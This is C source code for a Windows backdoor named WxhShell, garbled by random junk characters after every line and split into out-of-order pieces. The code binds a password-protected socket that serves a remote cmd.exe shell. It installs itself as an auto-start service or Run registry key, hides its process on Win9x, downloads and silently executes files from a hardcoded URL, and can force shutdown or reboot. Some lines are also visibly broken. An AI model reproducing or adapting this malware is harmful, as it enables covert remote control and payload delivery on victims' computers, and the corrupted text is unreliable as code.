    if(Boot(SHUTDOWN)) t);/'3|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vs{|xG7W D  
    else { v74&BL]a  
    closesocket(wsh); 0Fr?^3h  
    ExitThread(0); Oz#{S:24M+  
    } d*Fj3Wkx  
    break; Q)z8PQl O  
    } BDZ?Ez \Sg  
  // 获取shell xi; `ecqS<  
  case 's': { RY*U"G0#w  
    CmdShell(wsh); 5i{j' {_(8  
    closesocket(wsh); EDs\,f}  
    ExitThread(0); _t}WsEQ+P  
    break; B4 8={  
  } ,wdD8ZT'Ip  
  // 退出 hwNf~3eJk  
  case 'x': { h3@v+Z<}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HiJE}V;Vq  
    CloseIt(wsh); P}`H ~N~  
    break; B^jc3 VsR  
    } J!7MZL b  
  // 离开 |IUWF%~^$+  
  case 'q': { U|j`e5)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "8zDbdK  
    closesocket(wsh); 5.J.RE"M  
    WSACleanup(); w^0nqh  
    exit(1); 63x?MY6  
    break; t5IEQ2  
        } iMRwp+$  
  } Ok\7y-w^  
  } njA#@fU  
Nu~lsWyRI5  
  // 提示信息 % +\. " eC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hg (Gl  
} TrR8?-  
  } _/<x   
j^2j& Ta  
  return; v1,oilL  
} gr-OHeid  
@49S`  
// shell模块句柄 I[X772K  
int CmdShell(SOCKET sock) &~U ]~;@  
{ B@ KQ]4-  
STARTUPINFO si; ('p5:d  
ZeroMemory(&si,sizeof(si)); P J[`|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^\,E&=/}M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K@w{"7}  
PROCESS_INFORMATION ProcessInfo; 0NX,QD  
char cmdline[]="cmd"; b9dLt6d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0%I=d  
  return 0; I4?5K@a  
} D*|Bb?  
4x[S\,20  
// 自身启动模式 ayF\nk4b  
int StartFromService(void) t}/( b/VD  
{ 2P{Gxz<#  
typedef struct [Cv/{f3]u{  
{ ,L'zRyP  
  DWORD ExitStatus; YQA ,f#  
  DWORD PebBaseAddress; Q#[9|A9  
  DWORD AffinityMask; l_%6  
  DWORD BasePriority; g_COp "!~9  
  ULONG UniqueProcessId; <dhM\^ [  
  ULONG InheritedFromUniqueProcessId; c6]D-YNF G  
}   PROCESS_BASIC_INFORMATION; hp L;bM'  
&W6^sj*k5U  
PROCNTQSIP NtQueryInformationProcess; ."y1_dDql  
wZZt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rr|VD@%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L5:$U>H(  
Alw3\_X  
  HANDLE             hProcess; %z 4Nl$\  
  PROCESS_BASIC_INFORMATION pbi; c=.(!qdH  
B~Xw[q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mUF,@>o  
  if(NULL == hInst ) return 0; p0<\G  
<B8!.|19  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0b(N^$js'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K:30_l<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e'D&8z_;  
I"7u2"@-8j  
  if (!NtQueryInformationProcess) return 0; bhlG,NTP  
 l"]}Ts#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P3 ^Y"Pv?  
  if(!hProcess) return 0; p,i[W.dy.'  
jPW#(3hoE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d)f :)Ew  
[RTs[3E^  
  CloseHandle(hProcess); =P #]  
Aj+F |l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1 Nd2{(  
if(hProcess==NULL) return 0;  t[ C/  
x>`%DwoRI  
HMODULE hMod; (mtk 4  
char procName[255]; _MX>#!l  
unsigned long cbNeeded; .];=Pu^  
(n9g kO&8"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cJ @Wt>YI  
03S]8l  
  CloseHandle(hProcess); HBx=\%;n  
Z^MNf  
if(strstr(procName,"services")) return 1; // 以服务启动 !^Y(^RS@  
6MdiY1Lr!K  
  return 0; // 注册表启动 agW@ {c  
} U H/\  
,f;}|d:r  
// 主模块 ~|xA4u5LG  
int StartWxhshell(LPSTR lpCmdLine) yhA6i  
{ M%;hB*9  
  SOCKET wsl; L.0mk_&  
BOOL val=TRUE; ]G< Vg5  
  int port=0; a]tVd#  
  struct sockaddr_in door; Px`!A EFd[  
Q9G;V]./  
  if(wscfg.ws_autoins) Install(); xLH)P<^`C  
CooQ>f  
port=atoi(lpCmdLine); O~K>4 ax  
;)^`3`  
if(port<=0) port=wscfg.ws_port; N7 $I^?<  
:^3LvPM  
  WSADATA data; ve2u=eQ1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @xYlS5{  
yT9@!]^L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   % 0+j?>#X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1gN=-AC  
  door.sin_family = AF_INET; R>mmoG}MQ[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]R9HyCl&a6  
  door.sin_port = htons(port); xw2[d+mB  
Av V|(K"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6h,(wo3Y  
closesocket(wsl); RMWHN:9  
return 1;   =`s!;  
} ?\s+EE&-  
/9p wZ%:<  
  if(listen(wsl,2) == INVALID_SOCKET) { o@i#|kx,  
closesocket(wsl); 6 EC*   
return 1;  l(tOe  
} ;8{4!S&b  
  Wxhshell(wsl); C-6F]2:  
  WSACleanup(); lHe{\N[C  
$ Kncvu  
return 0; c?&X?<  
v+#}rUTF  
} =\wxsL  
y^v6AM  
// 以NT服务方式启动 F Yzi~L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J!pygn O  
{ kw %};;  
DWORD   status = 0; n'kG] Q  
  DWORD   specificError = 0xfffffff; Rww{:R  
W~9tKT4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .ndCfdy~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9V@V6TvW>&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8hJ%JEzga  
  serviceStatus.dwWin32ExitCode     = 0; <;m<8RjX  
  serviceStatus.dwServiceSpecificExitCode = 0; _Wq  
  serviceStatus.dwCheckPoint       = 0; ^c4@(]v'G  
  serviceStatus.dwWaitHint       = 0; >\=3:gb:  
+&( Mgbna  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vyX\'r.~7  
  if (hServiceStatusHandle==0) return; L`p4->C9A  
k_5L4c:"  
status = GetLastError(); ?Unb? {,&2  
  if (status!=NO_ERROR) ( b~T]3Es  
{ kG@@ot" n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =JbRu|/  
    serviceStatus.dwCheckPoint       = 0; EwC{R`  
    serviceStatus.dwWaitHint       = 0; e .2ib?8  
    serviceStatus.dwWin32ExitCode     = status; {kCw+eXn?  
    serviceStatus.dwServiceSpecificExitCode = specificError; p~^D\jR.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); > BY&,4r  
    return; wq(7|!Eix  
  } (@<c6WS  
],FMwCI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9~mh@Kgv  
  serviceStatus.dwCheckPoint       = 0; JedmaY06=  
  serviceStatus.dwWaitHint       = 0; L> 9V&\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8WbgSY`  
} f'-i o<.  
aM2l2  
// 处理NT服务事件,比如:启动、停止 ;q:zT\A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $M lW4&a|  
{ Ax?y  
switch(fdwControl) O%(fx!c`  
{ kabnVVn~  
case SERVICE_CONTROL_STOP: D!NQ~'.a=2  
  serviceStatus.dwWin32ExitCode = 0; q[`]D7W "  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E.ly#2?  
  serviceStatus.dwCheckPoint   = 0; ceM6{N<_U  
  serviceStatus.dwWaitHint     = 0; |_*O'#jx  
  {  TYmP)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Yicg6:  
  } CBOi`bEf  
  return; L,`Lggq-  
case SERVICE_CONTROL_PAUSE: ;8*`{F[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q<[_T  
  break; FsV'Cu@!U  
case SERVICE_CONTROL_CONTINUE: WD2]&g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pP?MWe Eg  
  break; cc&axc7I  
case SERVICE_CONTROL_INTERROGATE: Xg SxN!I  
  break; !\i\}feb  
}; {7;8#.S72  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UXugRk%d  
} V_RTI.3p  
dC $Em@Nb  
// 标准应用程序主函数 XKttZOiGT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i;jw\ed  
{ QM O!v;  
QP)pgAc  
// 获取操作系统版本 %Nhx;{  
OsIsNt=GetOsVer(); 8lb%eb]U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SAK!z!t  
L%K\C  
  // 从命令行安装 v<OJ69J  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,M6 Sy]Aj  
YW`,v6  
  // 下载执行文件 (TwnkXrR,  
if(wscfg.ws_downexe) { , GY h9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3k# /{Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); }YMy6eW4  
} x&9hI  
C\nhqkn  
if(!OsIsNt) { fX.>9H[w@~  
// 如果时win9x,隐藏进程并且设置为注册表启动 4%}*&nsI-Z  
HideProc(); HA`@7I  
StartWxhshell(lpCmdLine); >`wV1^M6?  
} [}8|R0KF  
else =%gRW5R%  
  if(StartFromService()) ->O2I?  
  // 以服务方式启动 W#BM(I  
  StartServiceCtrlDispatcher(DispatchTable); x~{;TZa[I  
else 5ish\"  
  // 普通方式启动 {%{ `l-  
  StartWxhshell(lpCmdLine); @t`Xq1  
gk+h8 LZ  
return 0; }!/$M\w  
} k.^co I5  
BV(8y.H  
a,+@|TJ,i  
*l;B\=KR  
=========================================== y^Kph# F"  
0B&Y ]*  
1~ t{aLPz  
=ng\ 9y[;D  
bH2MdU  
8 <7GdCME  
" YoLx>8  
D3^7y.u<)  
#include <stdio.h> 'XofD}dm  
#include <string.h> I_%a{$Gjl  
#include <windows.h> %4 XJn@J  
#include <winsock2.h> EG0auzW?  
#include <winsvc.h> \eb|eN0i  
#include <urlmon.h> &q~:~   
P*@2.#oO  
#pragma comment (lib, "Ws2_32.lib") ~L_hZso4  
#pragma comment (lib, "urlmon.lib") ;3@YZM'wt  
CQr<N w  
#define MAX_USER   100 // 最大客户端连接数 $w0lrh[+  
#define BUF_SOCK   200 // sock buffer @qjfZH@  
#define KEY_BUFF   255 // 输入 buffer ;9ly'<up  
nJ"YIT1K]p  
#define REBOOT     0   // 重启 ]%Nlv(  
#define SHUTDOWN   1   // 关机 H_Kj7(=&>  
?wF'<kEH  
#define DEF_PORT   5000 // 监听端口 |),'9  
+sx 8t  
#define REG_LEN     16   // 注册表键长度 J}@z_^|"mJ  
#define SVC_LEN     80   // NT服务名长度 VY"9?2?/  
Ra/Ukv_v  
// 从dll定义API RJH,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .8uz 6~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bY2 C]r(n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xD /9F18  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?N=m<fn  
@81Vc<dJ  
// wxhshell配置信息 >'xGp7}y  
struct WSCFG { p=B>~CH  
  int ws_port;         // 监听端口 u#A<hq;  
  char ws_passstr[REG_LEN]; // 口令 8kOKwEX  
  int ws_autoins;       // 安装标记, 1=yes 0=no N0w`!<y:c  
  char ws_regname[REG_LEN]; // 注册表键名 HCJ>X;(`f?  
  char ws_svcname[REG_LEN]; // 服务名 7,MS '2nz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0lsXCr_X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;k86"W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 za9)Q=6FD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rVa?JvDO=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |?,[@z _,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7`H 1f]d  
6^n0[7  
}; j:&4-K};Z`  
'K*AV7>E  
// default Wxhshell configuration K+)%KP  
struct WSCFG wscfg={DEF_PORT, zYv#:>C8  
    "xuhuanlingzhe", jWO/ xX  
    1, GK}'R=   
    "Wxhshell", -;XKcS7Ue  
    "Wxhshell", ~!d/8?!   
            "WxhShell Service", y}K\%;`[a  
    "Wrsky Windows CmdShell Service", s(LT  
    "Please Input Your Password: ", ~i_Tw#}  
  1, ,prF6*g+WE  
  "http://www.wrsky.com/wxhshell.exe", 0\~Z5k`IT  
  "Wxhshell.exe" qcJft'>F  
    }; Op? OruT[  
$1zvgep  
// 消息定义模块 4E[!,zvl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BH@)QVs-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cx$Gic:4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1b>C<\  
char *msg_ws_ext="\n\rExit."; #4h+j%y[H  
char *msg_ws_end="\n\rQuit."; p|/j4@-h  
char *msg_ws_boot="\n\rReboot..."; [;oCYb$9  
char *msg_ws_poff="\n\rShutdown...";  ,chf~-d  
char *msg_ws_down="\n\rSave to "; dj&}Gedy  
LaIJ1jf  
char *msg_ws_err="\n\rErr!"; 3q:{1rc  
char *msg_ws_ok="\n\rOK!"; o{kbc5_  
HygY>s+3[  
char ExeFile[MAX_PATH]; DtWwG C  
int nUser = 0; %T=A{<[`  
HANDLE handles[MAX_USER]; zT* .jv  
int OsIsNt; +wk`;0sA  
V*$L;xbC|  
SERVICE_STATUS       serviceStatus; !b-bP,q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Na,_  
pA#}-S%  
// 函数声明 (|fm6$  
int Install(void);  <n\`d  
int Uninstall(void); )g@S%Yu  
int DownloadFile(char *sURL, SOCKET wsh); l0Ti Z  
int Boot(int flag); a!c[!  
void HideProc(void); v !Kw< fp|  
int GetOsVer(void); 1fL<&G  
int Wxhshell(SOCKET wsl); tAFti+Qb  
void TalkWithClient(void *cs); YIp-Y}6  
int CmdShell(SOCKET sock); sK=}E=  
int StartFromService(void); a)! g7u  
int StartWxhshell(LPSTR lpCmdLine); [r OaM$3|  
iG ,t_??  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); - ?!:{UXl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jN+N(pIi.o  
X7|.T0{=x  
// 数据结构和表定义 QI[}(O7#6  
SERVICE_TABLE_ENTRY DispatchTable[] = 0gF!!m  
{ cM&'[CI  
{wscfg.ws_svcname, NTServiceMain}, `wTlyS3[  
{NULL, NULL} & Rz, J]  
}; 2o[IHO]  
V5GkP1L  
// 自我安装 z&$/EP-  
int Install(void) &yz&LNn'  
{ i!dv0|_  
  char svExeFile[MAX_PATH]; \H5Jk$*  
  HKEY key; *sfD#Bi]  
  strcpy(svExeFile,ExeFile); N<_Ko+VF  
dow^*{fqZ  
// 如果是win9x系统,修改注册表设为自启动 } i)$n(A)K  
if(!OsIsNt) { gglQU"=g{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y ZaP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7/X"z=Q^|  
  RegCloseKey(key); Zq ot{s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N\1/JW+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h:Ndzp{  
  RegCloseKey(key); ;<G<1+  
  return 0; I7\ &Z q  
    } &,-p',\-  
  } #G,XDW2"w  
} xwzT#DXGJ  
else { _#qe#  
I(n* _bFq  
// 如果是NT以上系统,安装为系统服务 re,.@${H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a%J6f$A#  
if (schSCManager!=0) dyFKxn`,  
{ qG >DTKIU  
  SC_HANDLE schService = CreateService I8op>^N"  
  ( C@HD(..#  
  schSCManager, c 8QnN:n  
  wscfg.ws_svcname, EH+~].PJd  
  wscfg.ws_svcdisp, .1*DR]^`  
  SERVICE_ALL_ACCESS, L]2< &%N2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R+$8w2#  
  SERVICE_AUTO_START, GG'Sp53GE  
  SERVICE_ERROR_NORMAL, 7-9;PkGG.A  
  svExeFile, N^elVu4 K  
  NULL, ^4`&EF  
  NULL, _& 4its  
  NULL, t&814Uf&\  
  NULL, LE c8NQs  
  NULL DQ=N1pft2v  
  ); A@$fb}CF  
  if (schService!=0) iIU( C.I  
  { FyEDt@J  
  CloseServiceHandle(schService); %N~C vN@T  
  CloseServiceHandle(schSCManager); VVrwOo CN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n'64;J5  
  strcat(svExeFile,wscfg.ws_svcname); Q59/ex  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BxX$5u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hZNEv|  
  RegCloseKey(key); Plz-7fy33  
  return 0; A:Rw@ B$  
    } t58m=4  
  } TIRHT`"i  
  CloseServiceHandle(schSCManager); '=TTa  
} 9Nl* 4  
} U %:c],Fk  
Z[,`"}}hv=  
return 1; 135Par5v  
} U \Dca&=  
z=?0)e(H,  
// 自我卸载 'rV2Bt,  
int Uninstall(void) 6hbEO-(  
{ C"T ,MH  
  HKEY key; '}O!2W&Y]%  
8SD}nFQ  
if(!OsIsNt) { =O^7TrM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cy:;)E>/  
  RegDeleteValue(key,wscfg.ws_regname); 8 G?b.NE^  
  RegCloseKey(key); V}`M<A6:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *t =i  
  RegDeleteValue(key,wscfg.ws_regname); C/+nSe.  
  RegCloseKey(key); 7L{li-crI  
  return 0; p6blD-v  
  } !=M/j}  
} 2v|qLf e1  
} rZ866\0  
else { Kpu<rKP`  
4ROWz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (/q}mB  
if (schSCManager!=0) t+}uIp42<  
{ '{D%\w5{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hz4uZ*7\|  
  if (schService!=0) 5~yb ~0  
  { Fi{mr*}  
  if(DeleteService(schService)!=0) { ~ iT{8  
  CloseServiceHandle(schService); .xv ^G?GG  
  CloseServiceHandle(schSCManager); Z)v)\l9d  
  return 0; z`9l<Q/  
  } {dZ8;Fy4  
  CloseServiceHandle(schService); 9XN~Ln@}  
  } aT/KT,!  
  CloseServiceHandle(schSCManager);  ,(hY%M&\  
} KS>Fl->  
} |7S:l9;  
F9D"kG;Dk  
return 1; `]yKM0 Z  
} qi[(*bFK7  
s@M  
// 从指定url下载文件 kOM-  
int DownloadFile(char *sURL, SOCKET wsh) LI$L9eNv;Y  
{ )O-sWh4  
  HRESULT hr; sRil>6QR  
char seps[]= "/"; i0&) N,5_  
char *token; %~(~W>^A  
char *file; }` @?X"r  
char myURL[MAX_PATH]; ks^|>  
char myFILE[MAX_PATH]; 0- Yeu5A  
@{de$ ODu  
strcpy(myURL,sURL); lvig>0:M  
  token=strtok(myURL,seps); |x[$3R1@  
  while(token!=NULL) r2)pAiTM*  
  { HU.1":.;  
    file=token; <lX:eR1  
  token=strtok(NULL,seps); L3' \r  
  } j<|6s,&  
= tP$re";o  
GetCurrentDirectory(MAX_PATH,myFILE); I1J)#p%H.  
strcat(myFILE, "\\"); .i\wE@v  
strcat(myFILE, file); 6NKF'zh  
  send(wsh,myFILE,strlen(myFILE),0); 8|_K  
send(wsh,"...",3,0); dTgM"k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g BH?l/  
  if(hr==S_OK) c; d"XiA  
return 0; $u- lo|  
else n K0hTQ  
return 1; X!?wL 0n  
HO G=c!b  
} kOzt"t&  
9M19 UP&  
// 系统电源模块 t)`+d=P   
int Boot(int flag) =z']s4  
{ Fj48quW1\P  
  HANDLE hToken; |<7i|J  
  TOKEN_PRIVILEGES tkp; >T$7{ ~  
EXH!glR[$  
  if(OsIsNt) { 2tlO"c:_/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @Yb Z 8Uc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hm<M@M$aG  
    tkp.PrivilegeCount = 1;  2w;G4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +;5Wp$ M\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PH{ c,  
if(flag==REBOOT) { 4jPwL|#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]b!R-G!gV  
  return 0; 's/27=o  
} cEtZ}2,j  
else { (O<abB(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aq$62>[  
  return 0; :0|Hcg  
} iu+zw[f  
  } xQ_:]\EZ  
  else { S@;&U1@h  
if(flag==REBOOT) { .2{6h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xg4T` ])  
  return 0; }$&);7(w  
} =54Vs8.  
else { )OS>9 kFH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ENpaaW@!Y  
  return 0; 4E,hcu  
} 939]8BERt  
} Ig='a"%  
t P At?  
return 1; k^~@9F5k  
} gA|!$ EAM  
~&vA_/M  
// win9x进程隐藏模块 `mQP{od?"?  
void HideProc(void) 1'gKZB)TG7  
{ H{&a)!Ms  
m.|qVN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #.RG1-L  
  if ( hKernel != NULL ) QGu7D #%|  
  { n^3NA| A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); | 3hT{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $a)J CErN  
    FreeLibrary(hKernel); hG< a  
  } :K!GR  
(0Zrfu^  
return; `,hW;p>-  
} 5>0\e_V  
0]/,m4a#n  
// 获取操作系统版本 5? S{W  
int GetOsVer(void) :4Id7Ce  
{ _wIBm2UO  
  OSVERSIONINFO winfo; &*LA_]1@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d8VWi*  
  GetVersionEx(&winfo); YY1{v?[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [w+yQ7P  
  return 1; 9;r48)5  
  else u)N2  
  return 0; ;Hz`0V  
} |SwZi'p  
..v@Q%  
// 客户端句柄模块 Xq} n^W  
int Wxhshell(SOCKET wsl) Qq @_Z=mt  
{ tRpL0 =y  
  SOCKET wsh; ,k`YDy|#e  
  struct sockaddr_in client; m? ]zomP  
  DWORD myID; .Bm^3A  
#VP-T; Ahe  
  while(nUser<MAX_USER) 8ItCfbqa6  
{ EN5G:hD  
  int nSize=sizeof(client); tU-#pB>H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %N?W]vbra  
  if(wsh==INVALID_SOCKET) return 1; 'b?#4rq}  
%Q>~7P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YL0WUD_>  
if(handles[nUser]==0) 1( QWt  
  closesocket(wsh); E.En$'BvB  
else gdkLPZ<<  
  nUser++; K{eqB!@j  
  } zyQ,unu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zz+M1n-;o  
?Oe_} jv;  
  return 0; ~jgN_jz  
} UpE1PLZlB  
wz|Q%.%?[  
// 关闭 socket =DQdPA\K  
void CloseIt(SOCKET wsh) T7WZ(y 3C  
{ )- Wn'C'Z  
closesocket(wsh); !=k*hl0h  
nUser--; k*zc5ev}  
ExitThread(0); OXa5Jg}=  
} 4jq`No_  
\]~kyy  
// 客户端请求句柄 ePPp)=  
void TalkWithClient(void *cs) 2\$WP-)%  
{ P^uP$D  
LRqw\fKk[  
  SOCKET wsh=(SOCKET)cs; -=v/p*v0o  
  char pwd[SVC_LEN]; Q T0IW(A  
  char cmd[KEY_BUFF]; 6cgpg+-a  
char chr[1]; )\:lYI}Wpm  
int i,j; *cI6 &;y  
f0HV*%8  
  while (nUser < MAX_USER) { 5Qm.ECXV  
lN= m$J  
if(wscfg.ws_passstr) { r~Is,.zZ}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eaZ)1od  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ] _]6&PZXk  
  //ZeroMemory(pwd,KEY_BUFF); -h^} jP8  
      i=0; =4w^)'/  
  while(i<SVC_LEN) { S9F]!m^i  
)Zu Q;p  
  // 设置超时 #4|i@0n}D  
  fd_set FdRead; $.x?in|_  
  struct timeval TimeOut; PL$(/Z  
  FD_ZERO(&FdRead); !m/Dd0  
  FD_SET(wsh,&FdRead); Pvb+   
  TimeOut.tv_sec=8; 2)j#O  
  TimeOut.tv_usec=0; ^r?sgJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]Pg?(lr6)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :n%sU* 'T  
,co9f.(w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V]CK'   
  pwd=chr[0]; T/spUlWu  
  if(chr[0]==0xd || chr[0]==0xa) { D/%b@Ls2ze  
  pwd=0; uq#h\p|  
  break; _ UVX  
  } sLpCWIy  
  i++; U K]{]-  
    } v#YS`];B  
vSHIl"h  
  // 如果是非法用户,关闭 socket U}C#:Xi>$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zdpLAr  
} 0o^#Fmuz  
6jy n,GU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g`f6gxc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /w0v5X7  
xZ{|D  
while(1) { =QxE-)v  
+h\W~muR  
  ZeroMemory(cmd,KEY_BUFF);  kAe-d  
~"4vd 3  
      // 自动支持客户端 telnet标准   z6>ZV6(d2^  
  j=0; #t9=qR~"  
  while(j<KEY_BUFF) { *"9)a6T t+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jP7+s.j>  
  cmd[j]=chr[0]; %imBGh  
  if(chr[0]==0xa || chr[0]==0xd) { $d"f/bRWy  
  cmd[j]=0; 1 069]  
  break; A1s=;qr  
  } ; hRpAN  
  j++; owS@dbO  
    } C,e$g  
576-X _a,  
  // 下载文件 AB|VO4-?  
  if(strstr(cmd,"http://")) { p(b1I+!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =g>7|?6>=  
  if(DownloadFile(cmd,wsh)) D 5wR?O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JV6U0$g_S  
  else r :MaAT<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zZjLt1  
  } #o |&MV_j  
  else { a.*j8T  
%K f . F  
    switch(cmd[0]) { W/F4wEODY  
  ^1& LHrT  
  // 帮助 r+.4|u  
  case '?': { ~esEql=Q3'  
